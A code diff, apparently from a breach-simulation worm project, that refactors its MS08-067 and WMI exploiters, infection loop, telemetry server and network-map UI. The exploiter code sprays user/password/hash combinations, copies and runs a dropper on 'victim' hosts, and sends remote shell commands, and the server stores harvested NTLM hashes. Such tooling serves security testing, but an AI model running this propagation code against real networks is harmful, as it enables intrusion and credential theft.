# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path)
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||
build_monkey_commandline(host, depth - 1)
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
try:
|
||||
sock.send("start %s\r\n" % (cmdline,))
|
||||
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
|
||||
except Exception as exc:
|
||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
|
||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
finally:
|
||||
try:
|
||||
|
@ -268,6 +253,6 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
pass
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path, host, cmdline)
|
||||
remote_full_path, self.host, cmdline)
|
||||
|
||||
return True
|
||||
|
|
|
@ -1,80 +1,81 @@
|
|||
import socket
|
||||
import ntpath
|
||||
import logging
|
||||
import ntpath
|
||||
import socket
|
||||
import traceback
|
||||
from tools import build_monkey_commandline
|
||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from model.host import VictimHost
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
|
||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from tools import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WmiExploiter(HostExploiter):
|
||||
_target_os_type = ['windows']
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
|
||||
def __init__(self):
|
||||
def __init__(self, host):
|
||||
super(WmiExploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._guid = __import__('config').GUID
|
||||
|
||||
@WmiTools.dcom_wrap
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
def exploit_host(self):
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
||||
for user, password, lm_hash, ntlm_hash in creds:
|
||||
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
host, user, password, lm_hash, ntlm_hash)
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
|
||||
wmi_connection = WmiTools.WmiConnection()
|
||||
|
||||
try:
|
||||
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
|
||||
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
|
||||
except AccessDeniedException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug("Failed connecting to %r using WMI with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
host, user, password, lm_hash, ntlm_hash)
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
continue
|
||||
except DCERPCException as exc:
|
||||
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
|
||||
except DCERPCException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug("Failed connecting to %r using WMI with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
host, user, password, lm_hash, ntlm_hash)
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
continue
|
||||
except socket.error as exc:
|
||||
except socket.error:
|
||||
LOG.debug("Network error in WMI connection to %r with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
host, user, password, lm_hash, ntlm_hash)
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug("Unknown WMI connection error to %r with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
|
||||
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
||||
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
||||
return False
|
||||
|
||||
host.learn_credentials(user, password)
|
||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||
|
||||
# query process list and check if monkey already running on victim
|
||||
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
||||
fields=("Caption", ),
|
||||
fields=("Caption",),
|
||||
where="Name='%s'" % ntpath.split(src_path)[-1])
|
||||
if process_list:
|
||||
wmi_connection.close()
|
||||
|
||||
LOG.debug("Skipping %r - already infected", host)
|
||||
LOG.debug("Skipping %r - already infected", self.host)
|
||||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
remote_full_path = SmbTools.copy_file(self.host,
|
||||
src_path,
|
||||
self._config.dropper_target_path,
|
||||
user,
|
||||
|
@ -89,10 +90,10 @@ class WmiExploiter(HostExploiter):
|
|||
# execute the remote dropper in case the path isn't final
|
||||
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path)
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||
build_monkey_commandline(host, depth - 1)
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
# execute the remote monkey
|
||||
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
||||
|
@ -101,11 +102,11 @@ class WmiExploiter(HostExploiter):
|
|||
|
||||
if (0 != result.ProcessId) and (0 == result.ReturnValue):
|
||||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
success = True
|
||||
else:
|
||||
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
success = False
|
||||
|
||||
result.RemRelease()
|
||||
|
|
|
@ -4,7 +4,6 @@ __author__ = 'itamar'
|
|||
class VictimHost(object):
|
||||
def __init__(self, ip_addr):
|
||||
self.ip_addr = ip_addr
|
||||
self.cred = {}
|
||||
self.os = {}
|
||||
self.services = {}
|
||||
self.monkey_exe = None
|
||||
|
@ -30,24 +29,19 @@ class VictimHost(object):
|
|||
return self.ip_addr.__cmp__(other.ip_addr)
|
||||
|
||||
def __repr__(self):
|
||||
return "<VictimHost %s>" % (self.ip_addr, )
|
||||
return "<VictimHost %s>" % self.ip_addr
|
||||
|
||||
def __str__(self):
|
||||
victim = "Victim Host %s: " % self.ip_addr
|
||||
victim += "OS - ["
|
||||
for k, v in self.os.iteritems():
|
||||
for k, v in self.os.items():
|
||||
victim += "%s-%s " % (k, v)
|
||||
victim += "] Services - ["
|
||||
for k, v in self.services.iteritems():
|
||||
for k, v in self.services.items():
|
||||
victim += "%s-%s " % (k, v)
|
||||
victim += ']'
|
||||
victim += "target monkey: %s" % self.monkey_exe
|
||||
return victim
|
||||
|
||||
def learn_credentials(self, username, password):
|
||||
self.cred[username.lower()] = password
|
||||
|
||||
def get_credentials(self, username):
|
||||
return self.cred.get(username.lower(), None)
|
||||
|
||||
def set_default_server(self, default_server):
|
||||
self.default_server = default_server
|
||||
|
|
|
@ -109,7 +109,7 @@ class ChaosMonkey(object):
|
|||
|
||||
self._network.initialize()
|
||||
|
||||
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
||||
self._exploiters = WormConfiguration.exploiter_classes
|
||||
|
||||
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
|
||||
|
||||
|
@ -152,34 +152,31 @@ class ChaosMonkey(object):
|
|||
machine.set_default_server(self._default_server)
|
||||
|
||||
successful_exploiter = None
|
||||
for exploiter in self._exploiters:
|
||||
if not exploiter.is_os_supported(machine):
|
||||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||
if not exploiter.is_os_supported():
|
||||
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
||||
exploiter.__class__.__name__, machine)
|
||||
continue
|
||||
|
||||
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
||||
|
||||
result = False
|
||||
try:
|
||||
if exploiter.exploit_host(machine, WormConfiguration.depth):
|
||||
result = exploiter.exploit_host()
|
||||
if result:
|
||||
successful_exploiter = exploiter
|
||||
break
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||
'exploiter': exploiter.__class__.__name__})
|
||||
|
||||
except Exception as exc:
|
||||
LOG.exception("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||
'exploiter': exploiter.__class__.__name__})
|
||||
continue
|
||||
finally:
|
||||
exploiter.send_exploit_telemetry(result)
|
||||
|
||||
if successful_exploiter:
|
||||
self._exploited_machines.add(machine)
|
||||
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
|
||||
'exploiter': successful_exploiter.__class__.__name__})
|
||||
|
||||
LOG.info("Successfully propagated to %s using %s",
|
||||
machine, successful_exploiter.__class__.__name__)
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
import json
|
||||
from datetime import datetime
|
||||
import traceback
|
||||
from datetime import datetime
|
||||
|
||||
import dateutil
|
||||
from flask import request
|
||||
import flask_restful
|
||||
from flask import request
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.services.config import ConfigService
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.services.node import NodeService
|
||||
from cc.services.config import ConfigService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -43,16 +43,7 @@ class Telemetry(flask_restful.Resource):
|
|||
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||
|
||||
try:
|
||||
if telemetry_json.get('telem_type') == 'tunnel':
|
||||
self.process_tunnel_telemetry(telemetry_json)
|
||||
elif telemetry_json.get('telem_type') == 'state':
|
||||
self.process_state_telemetry(telemetry_json)
|
||||
elif telemetry_json.get('telem_type') == 'exploit':
|
||||
self.process_exploit_telemetry(telemetry_json)
|
||||
elif telemetry_json.get('telem_type') == 'scan':
|
||||
self.process_scan_telemetry(telemetry_json)
|
||||
elif telemetry_json.get('telem_type') == 'system_info_collection':
|
||||
self.process_system_info_telemetry(telemetry_json)
|
||||
TELEM_PROCESS_DICT[telemetry_json.get('telem_type')](telemetry_json)
|
||||
NodeService.update_monkey_modify_time(monkey["_id"])
|
||||
except StandardError as ex:
|
||||
print("Exception caught while processing telemetry: %s" % str(ex))
|
||||
|
@ -60,7 +51,8 @@ class Telemetry(flask_restful.Resource):
|
|||
|
||||
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
||||
|
||||
def telemetry_to_displayed_telemetry(self, telemetry):
|
||||
@staticmethod
|
||||
def telemetry_to_displayed_telemetry(telemetry):
|
||||
monkey_guid_dict = {}
|
||||
monkeys = mongo.db.monkey.find({})
|
||||
for monkey in monkeys:
|
||||
|
@ -77,7 +69,8 @@ class Telemetry(flask_restful.Resource):
|
|||
|
||||
return objects
|
||||
|
||||
def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json):
|
||||
@staticmethod
|
||||
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
|
||||
dst_ip = telemetry_json['data']['machine']['ip_addr']
|
||||
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||
dst_node = NodeService.get_monkey_by_ip(dst_ip)
|
||||
|
@ -86,7 +79,8 @@ class Telemetry(flask_restful.Resource):
|
|||
|
||||
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
|
||||
|
||||
def process_tunnel_telemetry(self, telemetry_json):
|
||||
@staticmethod
|
||||
def process_tunnel_telemetry(telemetry_json):
|
||||
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
|
||||
if telemetry_json['data']['proxy'] is not None:
|
||||
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
|
||||
|
@ -94,32 +88,32 @@ class Telemetry(flask_restful.Resource):
|
|||
else:
|
||||
NodeService.unset_all_monkey_tunnels(monkey_id)
|
||||
|
||||
def process_state_telemetry(self, telemetry_json):
|
||||
@staticmethod
|
||||
def process_state_telemetry(telemetry_json):
|
||||
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||
if telemetry_json['data']['done']:
|
||||
NodeService.set_monkey_dead(monkey, True)
|
||||
else:
|
||||
NodeService.set_monkey_dead(monkey, False)
|
||||
|
||||
def process_exploit_telemetry(self, telemetry_json):
|
||||
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
data = telemetry_json['data']
|
||||
data["machine"].pop("ip_addr")
|
||||
new_exploit = \
|
||||
{
|
||||
"timestamp": telemetry_json["timestamp"],
|
||||
"data": data,
|
||||
"exploiter": telemetry_json['data']['exploiter']
|
||||
}
|
||||
@staticmethod
|
||||
def process_exploit_telemetry(telemetry_json):
|
||||
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
new_exploit = telemetry_json['data']
|
||||
|
||||
new_exploit.pop('machine')
|
||||
new_exploit['timestamp'] = telemetry_json['timestamp']
|
||||
|
||||
mongo.db.edge.update(
|
||||
{"_id": edge["_id"]},
|
||||
{"$push": {"exploits": new_exploit}}
|
||||
{'_id': edge['_id']},
|
||||
{'$push': {'exploits': new_exploit}}
|
||||
)
|
||||
if data['result']:
|
||||
if new_exploit['result']:
|
||||
EdgeService.set_edge_exploited(edge)
|
||||
|
||||
def process_scan_telemetry(self, telemetry_json):
|
||||
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
@staticmethod
|
||||
def process_scan_telemetry(telemetry_json):
|
||||
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
data = telemetry_json['data']['machine']
|
||||
ip_address = data.pop("ip_addr")
|
||||
new_scan = \
|
||||
|
@ -147,7 +141,8 @@ class Telemetry(flask_restful.Resource):
|
|||
{"$set": {"os.version": scan_os["version"]}},
|
||||
upsert=False)
|
||||
|
||||
def process_system_info_telemetry(self, telemetry_json):
|
||||
@staticmethod
|
||||
def process_system_info_telemetry(telemetry_json):
|
||||
if 'credentials' in telemetry_json['data']:
|
||||
creds = telemetry_json['data']['credentials']
|
||||
for user in creds:
|
||||
|
@ -160,3 +155,11 @@ class Telemetry(flask_restful.Resource):
|
|||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||
|
||||
|
||||
TELEM_PROCESS_DICT = \
|
||||
{
|
||||
'tunnel': Telemetry.process_tunnel_telemetry,
|
||||
'state': Telemetry.process_state_telemetry,
|
||||
'exploit': Telemetry.process_exploit_telemetry,
|
||||
'scan': Telemetry.process_scan_telemetry,
|
||||
'system_info_collection': Telemetry.process_system_info_telemetry,
|
||||
}
|
|
@ -24,66 +24,20 @@ class EdgeService:
|
|||
def edge_to_displayed_edge(edge):
|
||||
services = []
|
||||
os = {}
|
||||
exploits = []
|
||||
|
||||
if len(edge["scans"]) > 0:
|
||||
services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"])
|
||||
os = edge["scans"][-1]["data"]["os"]
|
||||
|
||||
for exploit in edge["exploits"]:
|
||||
new_exploit = EdgeService.exploit_to_displayed_exploit(exploit)
|
||||
|
||||
if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]):
|
||||
exploit_container = exploits[-1]
|
||||
else:
|
||||
exploit_container =\
|
||||
{
|
||||
"exploiter": exploit["exploiter"],
|
||||
"start_timestamp": exploit["timestamp"],
|
||||
"end_timestamp": exploit["timestamp"],
|
||||
"result": False,
|
||||
"attempts": []
|
||||
}
|
||||
|
||||
exploits.append(exploit_container)
|
||||
|
||||
exploit_container["attempts"].append(new_exploit)
|
||||
if new_exploit["result"]:
|
||||
exploit_container["result"] = True
|
||||
exploit_container["end_timestamp"] = new_exploit["timestamp"]
|
||||
|
||||
displayed_edge = EdgeService.edge_to_net_edge(edge)
|
||||
|
||||
displayed_edge["ip_address"] = edge["ip_address"]
|
||||
displayed_edge["services"] = services
|
||||
displayed_edge["os"] = os
|
||||
displayed_edge["exploits"] = exploits
|
||||
displayed_edge["exploits"] = edge['exploits']
|
||||
displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
|
||||
return displayed_edge
|
||||
|
||||
@staticmethod
|
||||
def exploit_to_displayed_exploit(exploit):
|
||||
user = ""
|
||||
password = ""
|
||||
|
||||
# TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt.
|
||||
result = exploit["data"]["result"]
|
||||
if result:
|
||||
if "creds" in exploit["data"]["machine"]:
|
||||
user = exploit["data"]["machine"]["creds"].keys()[0]
|
||||
password = exploit["data"]["machine"]["creds"][user]
|
||||
else:
|
||||
if ("user" in exploit["data"]) and ("password" in exploit["data"]):
|
||||
user = exploit["data"]["user"]
|
||||
password = exploit["data"]["password"]
|
||||
|
||||
return \
|
||||
{
|
||||
"timestamp": exploit["timestamp"],
|
||||
"user": user,
|
||||
"password": password,
|
||||
"result": result,
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def insert_edge(from_id, to_id):
|
||||
edge_insert_result = mongo.db.edge.insert_one(
|
||||
|
|
|
@ -62,9 +62,9 @@ class NodeService:
|
|||
|
||||
@staticmethod
|
||||
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
|
||||
if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]:
|
||||
if exploit_1["timestamp"] == exploit_2["timestamp"]:
|
||||
return 0
|
||||
if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]:
|
||||
if exploit_1["timestamp"] > exploit_2["timestamp"]:
|
||||
return 1
|
||||
return -1
|
||||
|
||||
|
|
|
@ -100,7 +100,6 @@ class MapPageComponent extends React.Component {
|
|||
|
||||
selectionChanged(event) {
|
||||
if (event.nodes.length === 1) {
|
||||
console.log('selected node:', event.nodes[0]); // eslint-disable-line no-console
|
||||
fetch('/api/netmap/node?id=' + event.nodes[0])
|
||||
.then(res => res.json())
|
||||
.then(res => this.setState({selected: res, selectedType: 'node'}));
|
||||
|
@ -119,7 +118,6 @@ class MapPageComponent extends React.Component {
|
|||
}
|
||||
}
|
||||
else {
|
||||
console.log('selection cleared.'); // eslint-disable-line no-console
|
||||
this.setState({selected: null, selectedType: null});
|
||||
}
|
||||
}
|
||||
|
|
|
@ -91,9 +91,9 @@ class PreviewPaneComponent extends React.Component {
|
|||
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||
<ul className="timeline">
|
||||
{ asset.exploits.map(exploit =>
|
||||
<li key={exploit.start_timestamp}>
|
||||
<li key={exploit.timestamp}>
|
||||
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
|
||||
<div>{new Date(exploit.start_timestamp).toLocaleString()}</div>
|
||||
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
|
||||
<div>{exploit.origin}</div>
|
||||
<div>{exploit.exploiter}</div>
|
||||
</li>
|
||||
|
@ -157,17 +157,23 @@ class PreviewPaneComponent extends React.Component {
|
|||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||
<ul className="timeline">
|
||||
{ edge.exploits.map(exploit =>
|
||||
<li key={exploit.start_timestamp}>
|
||||
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
|
||||
<div>{exploit.start_timestamp}</div>
|
||||
<div>{exploit.origin}</div>
|
||||
<div>{exploit.exploiter}</div>
|
||||
</li>
|
||||
)}
|
||||
</ul>
|
||||
{
|
||||
(edge.exploits.length === 0) ?
|
||||
'' :
|
||||
<div>
|
||||
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||
<ul className="timeline">
|
||||
{ edge.exploits.map(exploit =>
|
||||
<li key={exploit.timestamp}>
|
||||
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
|
||||
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
|
||||
<div>{exploit.origin}</div>
|
||||
<div>{exploit.exploiter}</div>
|
||||
</li>
|
||||
)}
|
||||
</ul>
|
||||
</div>
|
||||
}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue